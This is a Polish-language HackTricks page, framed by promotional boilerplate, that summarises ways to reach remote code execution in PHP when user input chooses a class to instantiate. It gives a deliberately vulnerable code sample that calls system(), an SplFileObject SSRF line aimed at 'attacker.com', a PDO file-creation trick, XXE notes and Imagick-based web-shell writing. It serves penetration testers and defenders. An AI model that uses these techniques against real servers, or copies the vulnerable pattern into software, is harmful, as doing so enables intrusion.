# PHP - RCE wykorzystujące tworzenie obiektów: new $\_GET\["a"]\($\_GET\["b"])
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
To jest w zasadzie podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Wprowadzenie
Tworzenie nowych dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do wykonania zdalnego kodu (RCE), jak szczegółowo opisano w [**artykule**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ten dokument przedstawia różne strategie osiągania RCE.
## RCE za pomocą niestandardowych klas lub autoloadingu
Składnia `new $a($b)` jest używana do tworzenia obiektu, gdzie **`$a`** reprezentuje nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wprowadzanych przez użytkownika, takich jak GET/POST, gdzie mogą być ciągami znaków lub tablicami, lub z JSON, gdzie mogą być innymi typami.
Przykład kodu poniżej:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
W tym przypadku ustawienie `$a` na `App` lub `App2` oraz `$b` na polecenie systemowe (np. `uname -a`) powoduje wykonanie tego polecenia.
Funkcje **Autoloading** mogą być wykorzystane, jeśli nie ma bezpośredniego dostępu do takich klas. Te funkcje automatycznie wczytują klasy z plików, gdy są potrzebne i są definiowane za pomocą `spl_autoload_register` lub `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
```
Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE.
## RCE za pomocą wbudowanych klas
Brak własnych klas lub autoloadersów może wystarczyć do RCE za pomocą **wbudowanych klas PHP**. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Mogą być one wymienione za pomocą `get_declared_classes()`.
Konstruktory, które nas interesują, można zidentyfikować za pomocą interfejsu refleksji, jak pokazano w poniższym przykładzie i na stronie [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE za pomocą konkretnych metod obejmuje:**
### **SSRF + deserializacja Phar**
Klasa `SplFileObject` umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia do dowolnego adresu URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0, korzystając z protokołu Phar.
### **Wykorzystywanie PDOs**
Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE poprzez konstruktory `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2.
## RCE za pomocą rozszerzenia Imagick
Podczas analizy **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** poprzez tworzenie nowych obiektów. Daje to możliwość wykorzystania podatności.
### Analizator VID
Zidentyfikowano możliwość analizatora VID do zapisywania zawartości w określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, co umożliwia zdalne wykonanie kodu (RCE).
#### Analizator VID + Przesyłanie plików
Zauważono, że PHP tymczasowo przechowuje przesłane pliki w `/tmp/phpXXXXXX`. Analizator VID w Imagick, wykorzystujący protokół **msl**, może obsługiwać symbole wieloznaczne w ścieżkach plików, ułatwiając przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.
### PHP Crash + Brute Force
Metoda opisana w [**oryginalnym opracowaniu**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez brutalne próbowanie nazwy tymczasowego pliku, możliwe staje się wykonanie dowolnego kodu PHP przez Imagick. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick.
## Odwołania
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.